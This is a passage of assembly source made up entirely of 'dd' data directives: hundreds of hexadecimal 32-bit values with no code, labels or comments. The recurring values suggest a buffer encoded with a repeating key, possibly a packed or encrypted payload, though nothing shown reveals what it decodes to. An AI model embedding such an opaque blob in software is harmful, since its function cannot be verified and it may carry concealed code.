		dd 0B1325A47h, 0C8384B57h, 37AF2E68h, 0ABFE2704h, 0C78D0476h
		dd 0EA4B8403h, 41D1D6DBh, 9612BEA4h, 3A5256AEh,	0D0CADD94h
		dd 0D7F4DCCBh, 0D0737D6Fh, 4ECD4E03h, 0B0BA598Ah, 483256BAh
		dd 0D1CE2BD4h, 5FB33056h, 5953552Fh, 4ECDA050h,	3E3D0D2Ch
		dd 0B13256FBh, 0B1325A9Ch, 0DC9AEEBAh, 2E553D19h, 0FF9B4BEAh
		dd 3F3D0954h, 0B13256A7h, 0B134DFDAh, 313D56EAh, 0B1325675h
		dd 3A5436E4h, 0B126BFA4h, 6F6956AEh, 83CD3482h,	1EC0248Fh
		dd 53889ED6h, 8256B7E7h, 3A530508h, 3B3DAAFFh, 0B132565Ch
		dd 0B9DB9F56h, 0D3325657h, 0A9B7B316h, 738C63CDh, 303D56E6h
		dd 0B1325666h, 0B1325853h, 0E2B37F5Dh, 0E6B636DBh, 2898BE40h
		dd 0E4CA425Ch, 0B13ED6DAh, 343D56EAh, 0B1325673h, 0B132D5B5h
		dd 373D565Dh, 0B13256AFh, 0D1DEDDAEh, 0EB5336FBh, 0B134D6DAh
		dd 41B356EAh, 0E76FC1DCh, 49F6D5DBh, 854013Dh, 0D1694BFCh
		dd 9EE0D731h, 0B1B2597Ah, 0D03256D5h, 0BE65AA8Bh, 0B1325CF1h
		dd 0B137BFBAh, 4FE8565Dh, 0E7D10D1Ch, 73B33037h, 64B244BAh
		dd 0D16337A6h, 6F9E9E5h, 4D6137C0h, 0B1CA137Dh,	4832565Dh
		dd 83B09157h, 0B035F8DFh, 4D3256ABh, 0BE3A235Eh, 0B132576Ch
		dd 3A54A375h, 0B7B459A4h, 0D132565Dh, 48CADDC8h, 0F588DD36h
		dd 0BE35F82Dh, 0B1325B53h, 72B336EAh, 0BC54F953h, 2DC5D7DCh
		dd 0EEB937EEh, 0B0BE59A6h, 48325657h, 353D8DA0h, 0B132565Dh
		dd 0B9BF5912h, 0BE325675h, 0B132543Ch, 8A53365Dh, 0FBB75970h
		dd 0BE325657h, 0B1324329h, 0BFDB36D5h, 253256EAh, 5015B01h
		dd 5169EF30h, 17A0D2A0h, 0ECB937BAh, 0B120BF5Bh, 0E7D056ABh
		dd 0B9B95DEEh, 86A63482h, 40667B86h, 3AC14391h,	0B133D352h
		dd 38CA56AEh, 0B7DB5A08h, 843256ABh, 9F080C08h,	0A5F5D5A8h
		dd 0B1325C9Ch, 2CC05EBAh, 86048C55h, 58846ADBh,	4ECDA921h
		dd 6EFCBh, 3E3D555Ch, 0B13256E9h, 0D0CADD13h, 492CDDDCh
		dd 0BEDAADDDh, 0B131DE2Ah, 3A543657h, 0B1BD5965h, 0D03256D5h
		dd 0BEDBAD6Ah, 0B13122F1h, 0B120BFBAh, 0F072565Dh, 0B57909CDh
		dd 0BD4070F1h, 0D8BA6FB3h, 0E1BE567Fh, 0BED9AD6Ah, 0B13102F1h
		dd 0C08536BAh, 0B131DF52h, 44B256AEh, 4AB23706h, 9BB65949h
		dd 443256D6h, 0BED1AD6Ah, 0B130AFF1h, 0B0BE59BAh, 4932565Dh
		dd 0D6C9D7C8h, 0BFB659B4h, 0BE3256A8h, 0B1325E5Eh, 0B3B159EAh
		dd 0D1325675h, 41D5D6DBh, 0B13246B4h, 0BBE7E0AEh, 3E49F4F6h
		dd 26356B85h, 0DB61F67Ch, 3E3D3690h, 0B1325676h, 0BEEBE9B5h
		dd 0B13250D6h, 7EE1D7AEh, 0D047A95Bh, 0BEC9D7CDh, 6BB65955h
		dd 0D13256E8h, 3A54A0C4h, 52B23744h, 26136ADh, 0A3DA0CE6h
		dd 0D6325657h, 0A459F49Ah, 0D19C466h, 3A62EE35h, 455F0EEAh
		dd 0EB54E50Dh, 0C1C9D63Ch, 0B395D2A1h, 0D7525657h, 0EA81A62Ah
		dd 0A78D30B5h, 0D0F8DD8Ch, 0AFB93014h, 978A30DAh, 0C9D4D6CEh
		dd 49D1D6CFh, 9C9D6AFh,	0B049D2A4h, 0BDDB56D5h,	0AD3256EAh
		dd 25425961h, 6BBBCB77h, 31DEE220h, 353D5390h, 0B1325736h
		dd 0B1325E42h, 0AA88AD5h, 4E79CE06h, 0AA8036D0h, 8FB2374Fh
		dd 0F7B65970h, 0D13256AFh, 59E0E958h, 0B13256B9h, 71B1FE4Bh
		dd 490222B3h, 3B70147h,	77E9EE0Ah, 67B9CA42h, 31CB37F4h
		dd 353D3E69h, 0B13257B6h, 0B132443Ch, 0A24DB6EAh, 0DAB7A057h
		dd 30A5F97Ch, 0FF73B3ECh, 4EA9C7C5h, 1FBA64D5h,	28936ACh
		dd 0D0735844h, 0BE2CDD8Ch, 0B1324BFBh, 0B4DB36BAh, 2932565Dh
		dd 6D7C6E81h, 0B1325DBFh, 99478ABh, 0BFB77D94h,	3671C3E2h
		dd 56B2372Bh, 77893642h
		dd 3047A559h, 8EB86558h, 3054377Dh, 0BEDAD750h,	0B132EE51h
		dd 0A2BC59EAh, 58325675h, 0B13256B4h, 0C5B99119h, 0BA712F24h
		dd 575C5844h, 3A541B6Ch, 5AB836CBh, 4953A160h, 44C2B1F5h
		dd 30C9D7DCh, 37B6599Dh, 483256AEh, 0BE67A337h,	0B1325720h
		dd 23CDAED5h, 0B69CD023h, 343D0B89h, 0B13256B6h, 0B13251B4h
		dd 0FFCA5AAEh, 5BE94ACBh, 0B13FBECBh, 61C656D5h, 7044A2CCh
		dd 0A37872FFh, 0AB78D77h, 0E17CAC67h, 49B930F7h, 4D77DF36h
		dd 0B1325B42h, 0EDB83FD5h, 7C52E2FBh, 0C7FBAFC4h, 0D0CA11F6h
		dd 0B1325EB4h, 0AFE011AEh, 0F0B496h, 4D4FD54Bh,	0AEB759D4h
		dd 583256E8h, 0B1325664h, 0FDDFDFCCh, 5E9BAA39h, 0E301D5E7h
		dd 0F1A48693h, 4C88DD0Bh, 0BE35FEE5h, 0B1324469h, 0B13FBF75h
		dd 6456BAh, 71ED4271h, 0A254C68Bh, 4DFA91ECh, 373D36FBh
		dd 0B13256D3h, 0B132DBE5h, 6BB95675h, 0B126BFDBh, 92F7565Dh
		dd 238BE584h, 0B87AB7DEh, 78DBF126h, 0CA01353h,	33B968BFh
		dd 0B69CDE47h, 0B1325D53h, 4AF3FF5Dh, 12D364C4h, 14B47F83h
		dd 44026A92h, 2EB0598Dh, 4D3256EBh, 0B643ECFEh,	0E1CE5112h
		dd 0B13ED852h, 363D56AEh, 0B1325651h, 0B132DEA4h, 33B956D5h
		dd 0B69CDED8h, 0B1325C9Ch, 0A8B119BAh, 0FD801F51h, 885DCB6Dh
		dd 0B9DB666Bh, 343256ABh, 91A59EE3h, 0E95DF005h, 0B06AD97Ah
		dd 323D56BAh, 0B1325651h, 0B134D1A1h, 343D5657h, 0B13256ABh
		dd 0B1326A3Ch, 0F4F5A3EAh, 0B132548Dh, 3A5236BAh, 0D06D00ACh
		dd 97DBAFCFh, 58325657h, 0B13256A6h, 5A3B680Ch,	0C4D8F112h
		dd 0C8EEFE04h, 497791E7h, 0B132565Ch, 0BED7E0CEh, 0B13255D2h
		dd 46B930ABh, 0F588DDB4h, 4835F86Ch, 383D49FEh,	0B13256BBh
		dd 0BEE95DA8h, 0B132BB2Ah, 0B0BE5957h, 493256ABh, 0B133D2DAh
		dd 8AC756EAh, 3CB759ABh, 0D13256BAh, 0BE529CD6h, 0B132562Fh
		dd 3A533757h, 0A2DB5AF6h, 143256D5h, 868FC28Ah,	88F657D7h
		dd 0EAB1A726h, 0BC9C88AFh, 0A5DB18FBh, 0BD325657h, 0F18C23Ch
		dd 0C4B6D87Eh, 0F36DB201h, 0C52625CBh, 32BBB237h, 0BE32AE20h
		dd 0B132752Ah, 30543657h, 0D72AC641h, 0D01E0E6Fh, 0D1CA0BE9h
		dd 0D1533EC2h, 0B1325F53h, 2AC0905Dh, 0CD45CEA6h, 0D0CB22D4h
		dd 0D1360922h, 0B132503Dh, 51506AEAh, 3B1A1CCFh, 0B9DB0D5Fh
		dd 2A32565Dh, 8457DA5h,	0D0579499h, 48269128h, 4ECD153Ch
		dd 0B123BF15h, 4465675h, 9C0825FEh, 0DC56BDA8h,	0C368F3E6h
		dd 0BE5BF94Fh, 0B1325E2Bh, 0B3BE59D5h, 0D13256EAh, 0D1F26514h
		dd 0B1325352h, 0EA12155Dh, 0E961C4D7h, 0B8DB370Fh, 0BE3256AEh
		dd 0B132575Dh, 3A54A3EAh, 0CCB9AA6Bh, 4AB2A3B6h, 0C6B659B6h
		dd 0D13256AEh, 66B6BDD6h, 305408DCh, 0D07FC735h, 41D1D612h
		dd 0B13DBF15h, 901156BAh, 50D747B2h, 41AF3C62h,	6D67BDF3h
		dd 0B122BFBFh, 95C956D5h, 1CF0100Fh, 0D7F169CAh, 15BFE226h
		dd 0BE538EEBh, 0B1325A24h, 373D3657h, 0B13256ABh, 1A31E9B3h
		dd 0C1C9D68Bh, 0B198D27Ah, 373D56BAh, 0B132565Ch, 0B043BF57h
		dd 313D5657h, 0B13256A5h, 0B1325F3Ch, 0ECD849EAh, 634FD66Dh
		dd 0B6F4C1D6h, 0B122BFB4h, 37B856AEh, 0AF905497h, 739BAF7Ah
		dd 88C1F533h, 0F6F5214Bh, 0B1325674h, 76B9AFBAh, 0BADAAF3Dh
		dd 4F3256AEh, 0CBFB0311h, 96F38BB9h, 0E9C705A9h, 71B1AA8Bh
		dd 0B138BF70h, 0F87856BAh, 0B748B38Dh, 0C1996EACh, 0B1325FBEh
		dd 7E9283ABh, 915656C7h, 0ACDB0B58h, 0BE325671h, 0B1327136h
		dd 0A0DB365Dh, 343256AEh, 0C11CCECEh, 0B31614D6h, 0CD6E7CBh
		dd 9A8CFC2Dh, 0B1325C9Ch, 9F0CF2BAh, 1069BE23h,	0D0C3CD2Fh
		dd 0BE359131h, 0D152AEA3h, 0B1325B3Ch, 0E61564EAh, 76EDA7D5h
		dd 8CF88D06h, 138C1356h, 0D05EFB33h, 0B1325CBEh, 4E6498ABh
		dd 0BEAF7553h, 0D00A5B89h, 353D48FFh, 0B13256B1h, 0B13250B4h
		dd 360705AEh, 3167B3DAh, 0BADB5948h, 233256D5h,	0A021B7Ah
		dd 0B44ACD77h, 7AB243B6h, 0B13FBFDDh, 4DE656AEh, 0B76003EEh
		dd 975DA101h, 39BEC8ECh, 373D57B5h, 0B1325662h,	0B1B359DAh
		dd 5932565Dh, 0B13256A7h, 5790ECDFh, 8A09F028h,	76530FEBh
		dd 0B13254ADh, 3ACE5675h, 0B13BBF7Dh, 5DA4565Dh, 978D884Bh
		dd 32BA6BDEh, 0A3DB506Bh, 393256D5h, 0E7957287h, 0E23ECD43h
		dd 3CDC6F6Ch, 50C8BF9Bh, 0B21CBFF5h, 0BDDB5657h, 183256ABh
		dd 74EA78A5h, 71E2288Ch, 0D7373999h, 21A2683Bh,	0B16ED252h
		dd 383D56AEh, 0B1325650h, 41B330CBh, 31536502h,	343DC6D4h
		dd 0B132561Eh, 0B1325D53h, 1DE255Dh, 0BA0C9DBCh, 5DCA9C1Bh
		dd 4E4CD7CDh, 353DC645h, 0B13256C0h, 0B132429Ch, 0B5D664BAh
		dd 0C23B4074h, 329EBB47h, 4F278AF3h, 1159B9F0h,	0B103BF50h
		dd 305256EAh, 0A7338FBDh, 0B58830C9h, 76B937ABh, 0B39CBF57h
		dd 0A0DB5657h, 4D3256ABh, 67362DB4h, 6FD2701Eh,	8F2CAFB9h
		dd 77CCD05Ah, 0B133DE52h, 3CCA56AEh, 1FBB60D5h,	353D36ACh
		dd 0B13256D6h, 0D0E4DD8Ch, 4864A325h, 37CAC445h, 0B9DB51F3h
		dd 0D33256AEh, 0C4FB903Ah, 0BA128635h, 0D1B65915h, 483256EAh
		dd 0A1DB9EFEh, 543256BAh, 0F6BD5C7Eh, 0B4E6B990h, 0DF246237h
		dd 3C3CA855h, 1FBB6067h, 0B122BFEDh, 32CB5675h,	0E4764159h
		dd 911A01E2h, 6B5A8638h, 1DDBDCC1h, 583256ABh, 0B13256C4h
		dd 86B824E6h, 22D96CECh, 6CE06286h, 71913B5Ch, 0B13FBF97h
		dd 0C90B5657h, 2086C628h, 5ACE087Bh, 0E797CAC7h, 0B133D97Ah
		dd 3ACA56BAh, 383D3693h, 0B13256A8h, 0B132D358h, 363D56ABh
		dd 0B13256D7h, 0E453378Ah, 0B132509Ch, 83B582BAh, 4E8A96C1h
		dd 1FB49F3Ch, 58523650h, 0B13256BBh, 7D6FA05Fh,	71C1AAECh
		dd 2E263A9Ch, 8590A6D1h, 0DB6DEF3Bh, 0B13FBFCFh, 0D2E35657h
		dd 7A67544h, 2B21411Dh,	0D0B2E942h, 0B0B95928h,	493256BAh
		dd 353D9876h, 0B13256AFh, 44EBA1AFh, 0B13BBFF5h, 0DAAD56D5h
		dd 1906F41Ah, 32F7D03Ch, 0BE33AEC7h, 0B132E1D8h, 0ED8836AEh
		dd 0D035D0FFh, 0B1324742h, 449BA4D5h, 0AD31B5A5h, 21B0D05h
		dd 0DCC9A45Ch, 0F8826F98h, 0B121DEA1h, 0BFDB5657h, 883256ABh
		dd 0ECC1319Ah, 0F6342F4Dh, 0C57DE60Ah, 5952FC24h, 0B132565Ah
		dd 0CF6EFFE5h, 0D788A559h, 0E8A6C210h, 0B1325E3Ch, 571DD0EAh
		dd 0ADDBD43h, 9543799h,	0A5DBD352h, 0DE3256AEh,	0AAE1D6D9h
		dd 325EE82Eh, 0EFF16131h, 0BE638815h, 0D7FB3B02h, 0B138BF11h
		dd 26E7565Dh, 0C30AC509h, 356775E9h, 0B074E0A4h, 0B132453Ch
		dd 0D565AEAh, 6AC2ECB3h, 46526824h, 1AFD79F8h, 0DBD38DC7h
		dd 3AE8DD37h, 48993769h, 0B132F53Ch, 0B0B159EAh, 4D325675h
		dd 0B3CA2B39h, 0B1BDD352h, 0BE5256AEh, 585394E0h, 0B13256AEh
		dd 30141112h, 0BA8A3058h, 0B134BFBCh, 4BE356BAh, 0D9396C64h
		dd 383DFDC8h, 0B132565Bh, 0B1325142h, 0DDA10DD5h, 0D766CAECh
		dd 353DEE13h, 69B330DAh, 0D7534848h, 0BEDB3605h, 54325657h
		dd 42535277h, 3C98C2C2h, 0D6F9B7A0h, 6AB3AD4Ah,	0BE9262BCh
		dd 0F784593Ch, 0BE99AFAFh, 0B1324CD5h, 0A1DB36ABh, 0C3256D5h
		dd 0CE13453Eh, 5DD96B9Fh, 3607F52h, 0BE4ED2FAh,	5853A019h
		dd 0B132565Bh, 8C83365Eh, 719DE8B3h, 4D96A58Bh,	3F3D91FEh
		dd 0B13256A2h, 0B13EBF3Dh, 0A92556AEh, 41FC210Dh, 9CEE4AA4h
		dd 3054B562h, 0D02A0920h, 0BECE362Eh, 0B1325433h, 0D0C3DD5Dh
		dd 0B13EBFF7h, 6C7F5657h, 42DAD049h, 6AC530B9h,	0B6DB814Dh
		dd 7B325675h, 0BD713AC4h
		dd 0D16C9726h, 0D0E4A62Eh, 0BDB75908h, 0BE3256ABh, 0B132505Bh
		dd 0B1B559EAh, 78325675h, 0B127DDB5h, 5952565Dh, 0B13256A9h
		dd 538039F4h, 0E8A0233Eh, 0B132DADAh, 735356EAh, 0BE52567Dh
		dd 0B1325535h, 4B8D595Dh, 1EEC5211h, 4D673724h,	363DBA20h
		dd 0B13256D4h, 59CB3612h, 0B1325675h, 0BAD8D7E0h, 0BE35F8EAh
		dd 0B1325721h, 0B7DBAA57h, 8B3256ABh, 281EF286h, 0B977DDFBh
		dd 0B132469Ch, 38C125BAh, 0E140B1Dh, 0DD74C190h, 0BB6CC2FCh
		dd 33BBAAD7h, 0B69CD0A8h, 0B1325A03h, 0E3AED275h, 0DCEE0ADDh
		dd 0D29AA8CDh, 393D371Ah, 0B1325640h, 0B123D0A4h, 0BDDB56D5h
		dd 0E13256EAh, 0BB3E1245h, 345E3EC8h, 782913A4h, 0B1324547h
		dd 0A44D8457h, 16FD8D74h, 47E0F94Eh, 31CBD01Fh,	0A8AA6C21h
		dd 49325278h, 0B1325BB4h, 408903AEh, 0A38B65B7h, 2D1EAFF1h
		dd 0BE67186Fh, 0B1325C66h, 0EF603675h, 0B132DFB5h, 0D153565Dh
		dd 0B1325F47h, 44DCC757h, 0DC7775C5h, 3A539C4Ah, 0B13DBF06h
		dd 0F8A85675h, 7E8463BAh, 0BBA6E115h, 92254EE4h, 49F6D5EBh
		dd 0D7523657h, 59538F5Eh, 0B13256EAh, 56D8D72Fh, 4935F80Dh
		dd 0B13ED052h, 0B6DB56AEh, 22325657h, 26954D4Eh, 0F4F58D9Ch
		dd 0B1325612h, 0BAB45975h, 583256BAh, 0B132565Bh, 55912790h
		dd 0F4F5A100h, 0B1325657h, 7101AAD5h, 0B13BBF8Ah, 64585675h
		dd 0E59202ECh, 0D75DC247h, 0D7539E25h, 76CB48DCh, 1FBA6429h
		dd 0B13257D2h, 0B13FBFEAh, 855F5675h, 6166B77h,	51B0860Dh
		dd 0D71AD134h, 21A2ADD6h, 0B120D3A4h, 0BCDB56D5h, 183256EAh
		dd 95224AD6h, 334BBD62h, 0E9AA85F2h, 0BEDAAD2Eh, 0B1375BD3h
		dd 0A0B759ABh, 583256D5h, 0B13256E6h, 83B6CBE3h, 0A9BFB6B1h
		dd 1CDB65CDh, 5801E7CEh, 0B1325644h, 85BCCD43h,	0D4B6A881h
		dd 74D62FDFh, 0ACFD677Fh, 0D0C5DC88h, 0A2BD591Dh, 0D13256AEh
		dd 0BBDB97DCh, 613256ABh, 0BC0BD1B4h, 6BC5F9CCh, 4AB2376Eh
		dd 6B65953h, 0D1325659h, 0B134D4A1h, 383D5657h,	0B13256ABh
		dd 0B132453Ch, 0A23BA0EAh, 4E69F871h, 0A8B0DD8Fh, 0CF1912F0h
		dd 8428816Dh, 0B138BF36h, 0CE3556ABh, 0B659F2A5h, 2BA6110Fh
		dd 0B126BF35h, 1CCC56BAh, 0F0F0847Eh, 0A91FB923h, 0B36CCA67h
		dd 2F12F68Bh, 4AB2BEC0h, 0EEB65901h, 4D325671h,	56B2A3FAh
		dd 0BFBF59ADh, 583256AEh, 0B132565Eh, 8C0FCA8Eh, 0DA1D1781h
		dd 4AB3308Ah, 353DD67Ah, 0B1325280h, 0B1325DB4h, 10BB04AEh
		dd 0E99F7330h, 1FD15A60h, 9753D4D6h, 3F3D5142h,	0B1325664h
		dd 0B134BEDAh, 5E6A565Dh, 916D84A0h, 41B9300Fh,	3B3D16CAh
		dd 0B13256D4h, 53C9D612h, 0B2C6D27Ah, 353D56BAh, 0B1325677h
		dd 0B13CBECEh, 0BAEC5657h, 0E2507707h, 0BC0DFF79h, 0CF3DB4B6h
		dd 0B13DBF2Eh, 861056BAh, 0EBC87E1Ch, 2F9AB7Fh,	9BFD65Fh
		dd 44523725h, 1DF5A554h, 315338C7h, 353DB58Eh, 0B13255C0h
		dd 0B1325EB4h, 759524AEh, 0C7D37940h, 0F54369Fh, 0BCDAC2ECh
		dd 563256EAh, 541A94D6h, 0E27643B8h, 0C3CFF853h, 305437F5h
		dd 0BED131ACh, 0B131D72Fh, 0B120BFD5h, 72CC56EAh, 58441A22h
		dd 0DCF18A30h, 2EE919A0h, 0A3345C06h, 0B133D758h, 31CE56ABh
		dd 3E3DA636h, 0B13256EDh, 46B93015h, 3153FB0Bh,	353D26A6h
		dd 0B13255FCh, 6F893037h, 0D0F1DD31h, 4D2CDDB3h, 0D1CAB56Ah
		dd 0D0F2E97Ah, 0BE8AAD3Ah, 0B133DBD9h, 8FB2A3AEh, 32B65952h
		dd 0D13256AAh, 29D2D7B3h, 77B93011h, 9C0CD614h,	0B042D2B5h
		dd 303D565Dh, 0B13256A2h, 0B134D458h, 353D56ABh, 0B13256D5h
		dd 0BE5A686Ah, 0B13303F1h, 3D3D36BAh, 0B1325658h, 0CFD4D7C8h
		dd 5AB3305Ch, 0F15391EDh, 83B0A92Dh, 4D35F862h,	582CDD13h
		dd 0B13256AAh, 0CD78E06Bh, 9EA1BACAh, 8656331Ah, 0A2B13FE8h
		dd 305407B5h, 0EF2CFF33h, 7FB33015h, 393DA45Ch,	0B132565Dh
		dd 56B237CFh, 3054A3AFh, 0BEDAD750h, 0B132AB51h, 3C3DAAEAh
		dd 0B1325674h, 0AFB93042h, 0B13258B4h, 0A48519AEh, 84CE2670h
		dd 0B9BF0621h, 3109EF7Fh, 4952A60Dh, 4AB33014h,	353D963Bh
		dd 0B1325693h, 30EADDCEh, 8D9295A1h, 0BE52379Ah, 0B1325E5Ch
		dd 0B3BA59EAh, 0D1325675h, 0A3DB03DBh, 0F32565Dh, 1B8ABF0Ah
		dd 0F2BC261Eh, 44725Dh,	6F508C19h, 0B0BB5934h, 4D325675h
		dd 37FBC445h, 0BDDB51F3h, 793256AEh, 0C2301F9h,	26141339h
		dd 0D1E5332Bh, 2469D652h, 0B126BF51h, 1B1556BAh, 117329C3h
		dd 3B1C415h, 66E46FF9h,	0DEAAC6FCh, 0EC534144h,	0EB61368Ah
		dd 0C8C4D714h, 0D0205A0Dh, 58CE13D4h, 0B13256BFh, 0AE9B9A79h
		dd 0A9D3AFF2h, 9318E621h, 0CE0691CDh, 303D3772h, 0B13256BBh
		dd 363D36A5h, 0B13256ACh, 48B9B7DDh, 4D4FD5CAh,	0DFB759D4h
		dd 0BE3256ECh, 0B1325CFFh, 0B137BFBAh, 0D20E565Dh, 0D12FA1C6h
		dd 6E8D5906h, 0ED8A30F5h, 0BB93736h, 0B69A6617h, 0B132429Ch
		dd 627C2FBAh, 911B4054h, 65BFB22Fh, 0C420B4h, 7C10DEE7h
		dd 333D063Eh, 0B13256FCh, 0B132479Ch, 662469BAh, 761CEFCAh
		dd 0DF9F5D6Bh, 83F9C9Ch, 33B9534Fh, 0B69CDEE7h,	0D795E68Ah
		dd 572A95F4h, 810E6FDBh, 0B133DE52h, 0D1CA56AEh, 0E16148E3h
		dd 0E9530CF1h, 0B4DDD4DAh, 3AC756EAh, 193527CFh, 0E6236BDh
		dd 0D13B3FA0h, 496237F4h, 3900D4DCh, 88C75105h,	0BDDB66E9h
		dd 0A83256EAh, 5E51873Dh, 7984C299h, 0E9A8454Ah, 0B489D9A1h
		dd 0A5DB5657h, 6C3256ABh, 9A10D019h, 9CD7E06h, 83ACD105h
		dd 0ED24B437h, 3A374020h, 1FB43C14h, 68B93650h,	0DBB0D5CAh
		dd 0A535F853h, 0BE05DF16h, 0B1325FF7h, 70B936BAh, 0F7999E2h
		dd 0F6BB37B3h, 0BDDB3647h, 1E3256ABh, 0EA90970Bh, 66DCF599h
		dd 0E702B16Ah, 0E9EADDDCh, 3ACA063Ch, 1FBA642Ch, 0B6B95950h
		dd 0BE3256ABh, 0B1325750h, 0ADB9AAEAh, 0B4B65945h, 0D13256BAh
		dd 0D0F3E952h, 0B126BFF6h, 16C85657h, 0BB3D9877h, 9826A026h
		dd 0BF59B2Ch, 3C50F532h, 0EEBB90A8h, 3A543655h,	0B137BE5Ch
		dd 0B56B5657h, 3A4D4227h, 58530D2Eh, 0B13253E7h, 0B13CBF15h
		dd 598C56BAh, 0E506D8C6h, 8457D250h, 0BBF7B22Eh, 0B134BFF8h
		dd 617556D5h, 0C986FFD9h, 0F4F5372Bh, 0B1325442h, 0B122BF5Dh
		dd 0C73C56AEh, 1164CF3Ch, 542E906Dh, 4119201Bh,	0AEDB8D08h
		dd 58325675h, 0B13256A8h, 8AC6A73Ah, 0A3113B2Fh, 0DCC5EE5Bh
		dd 828D47E2h, 0F4F5F13Bh, 0B1325712h, 0BB9AE75h, 0B69CD0D0h
		dd 0B139D952h, 0BE5256AEh, 71B38EE0h, 0D1EEFDCBh, 0DBB0D5B4h
		dd 0A535F86Ch, 0B12ADA7Ah, 0A2DB56BAh, 5932565Dh, 0B572CC15h
		dd 627757D2h, 443053E5h, 38452D3Fh, 86BB5E36h, 91F4D615h
		dd 0B124D0B5h, 0A0DB565Dh, 7F3256AEh, 0A8B24248h, 0D99A5BF8h
		dd 5BC6ECD7h, 6B1428AEh, 0A175DF14h, 70B930DAh,	365CEF3Bh
		dd 0B2CAD5CFh, 0B164D358h, 0A0DB56ABh, 9B3256D5h, 0A0082FCh
		dd 4D3EC071h, 0C3CCCC0Bh, 0DD14AE69h, 0B120D1A1h, 0BCDB5657h
		dd 1A3256ABh, 844591D5h, 0D741E6F9h, 335937B9h,	3900D47Dh
		dd 0B13051F3h, 0D1CB56AEh, 28B3E931h, 0D0C5DDCDh, 0B132633Ch
		dd 0B8B159EAh, 0D1325675h, 76D0D7DCh, 0D0EADDB9h, 0BE30AE2Dh
		dd 0B13006DAh, 0A6BD59ABh, 0BE3256D5h, 0B132476Fh, 0B13EBF75h
		dd 20E756BAh, 0CAB05B00h, 53C66401h, 0CCB1E1A0h, 353D5653h
		dd 0B132566Ch, 0B1324603h, 0C8DD8F75h, 0F0BA57C4h, 3ACDE7C6h
		dd 25181CE2h, 0F7845968h, 0B6DB36AAh, 0DD3256D5h, 6DD0F52Dh
		dd 0BCDABF4Eh, 803256BAh
		dd 0F662240h, 3A6BE783h, 0A087DD41h, 18B3E9CDh,	319B378Bh
		dd 0BE3256EAh, 0B13216F0h, 0B13FBFBAh, 0CE3A565Dh, 0B8A69A25h
		dd 0DD5F5606h, 0F107CFB3h, 0B4DAD52Dh, 9EEDC8Ah, 0D013D98Fh
		dd 0B9B159DBh, 0BE32565Dh, 0B1325429h, 58533657h, 0B1325686h
		dd 6B8D59B5h, 0B130DBE5h, 36835675h, 0B1CD7BDBh, 0A3DB565Dh
		dd 4C3256AEh, 6FA77308h, 66CB51C4h, 0F294CD95h,	0D9A088E4h
		dd 0B4DAD5F9h, 0B105BF46h, 3A3D565Dh, 0B13256ABh, 61B9AA37h
		dd 3B5205CAh, 0B2BA591Ah, 313256EAh, 3A5370A2h,	1FBA6420h
		dd 0B5B9AE5Ah, 5869AA9Dh, 0B1325651h, 8F8C11A4h, 313D7555h
		dd 0B13256EBh, 0B132FF8Dh, 343DD6BAh, 0B132563Ah, 0B135DAA1h
		dd 9525657h, 0F4ECF8D2h, 4DF455B4h, 0D1379669h,	0B25323C6h
		dd 1FBA6438h, 0B134BF5Ah, 0DA9956AEh, 3959612Bh, 0F6BBAEE3h
		dd 586336DDh, 0B13256FBh, 9A449890h, 0D1E9B44Ah, 2BC497F7h
		dd 5960D93h, 7E8A0E62h,	0D037DC3Fh, 0BE3E115Ch,	0B1325A63h
		dd 0B7B45975h, 0BE3256BAh, 0B13256DBh, 0B369BFAEh, 46C75657h
		dd 0BE52AF73h, 9A53AF62h, 0B0BF592Ch, 4D325675h, 0A5DB8E4Dh
		dd 6C32565Dh, 2BF722E2h, 0EF5A927Dh, 3938F41Dh,	0A4B55B55h
		dd 0BEDFA59Dh, 0B1324DFBh, 0A4B359BAh, 5832565Dh, 0B13256BEh
		dd 8D51E674h, 409AFACFh, 94A22C82h, 2627710Ah, 0BE3796F6h
		dd 0B132493Fh, 0A8B4595Dh, 583256AEh, 0B1325643h, 5B5DDDABh
		dd 0BA8D0FD8h, 5E149B55h, 30263839h, 9112D42Ah,	7785593Dh
		dd 33313757h, 0B69CDE65h, 58CA1E52h, 0B13256C4h, 35E10D28h
		dd 5E365EDh, 8AFB221Ah,	0C55FF19h, 0B975DFB6h, 0B1325DBEh
		dd 0C02608ABh, 0D98A11ECh, 61916B18h, 0BE3E11FCh, 0B132553Bh
		dd 0D0CA365Dh, 0B133CA47h, 323DAE57h, 0B13256A6h, 0B1325E3Ch
		dd 11AE44EAh, 3FAFA6F9h, 48F265FCh, 583310D7h, 0B13256BAh
		dd 755B5CFAh, 7DA65CAh,	55BEA211h, 7E2AC404h, 0A310C18Fh
		dd 343DD612h, 0B1325690h, 0B12BDDA1h, 303D5657h, 0B13256B8h
		dd 0B132583Ch, 649055EAh, 0FD9C79ABh, 0CFE94A5h, 0B24759E2h
		dd 32CEAE68h, 0A1DB5497h, 0B13256ABh, 0A893D582h, 39FF17E8h
		dd 29E0A748h, 0BE2CDDFBh, 0B1325ADDh, 0B7BE59AEh, 0BE325657h
		dd 0B132562Ch, 0B133EDD5h, 0BAC756EAh, 84B659AEh, 583256BAh
		dd 0B1325649h, 826D048h, 1422F5AAh, 0A7738B39h,	3C16F5E4h
		dd 7A48DE7Eh, 10B9CCFFh, 0BE525117h, 0B13250D3h, 0B1B259AEh
		dd 0D7325657h, 0D0BE7512h, 4433B555h, 38CA95E9h, 0B7DB5E32h
		dd 0B63256BAh, 51E69A16h, 0BD75DF52h, 0B12FD158h, 3B5256ABh
		dd 0B126BF33h, 0B57456EAh, 213C4B46h, 975A8A53h, 772722C1h
		dd 6B13628Fh, 5853F472h, 0B132563Eh, 44EAA12Dh,	0B132A9CFh
		dd 0B139BF75h, 42B856BAh, 922F102Bh, 9605FE6Ch,	0B13ABF95h
		dd 617456ABh, 865336ADh, 77198F5Ch, 0B126BE15h,	354756BAh
		dd 769A2417h, 0CA820C1h, 0AC9E113Ah, 1EE9A92Ah,	30543947h
		dd 0EFD83E0Ah, 0B13BBF14h, 0A1CF56BAh, 84149522h, 46115E52h
		dd 0B134BF8Fh, 0CACD56ABh, 0A240C1DFh, 49309669h, 0B975DF89h
		dd 0B1324553h, 15A4DA5Dh, 2C9349EFh, 14E725E2h,	78CDA9EEh
		dd 0DDEC5699h, 0D13E1163h, 0B132539Ch, 2E9B1ABAh, 1F8513CBh
		dd 363DAECFh, 0B1325656h, 0D7523752h, 3822B954h, 0D019BB6Ah
		dd 58F1AFBCh, 0B13256B0h, 0A1CA780Dh, 63FC1FCEh, 0BE529E48h
		dd 0B1325422h, 0D0CEDCD5h, 0B13BBFBFh, 0E89A5675h, 26B5FB6h
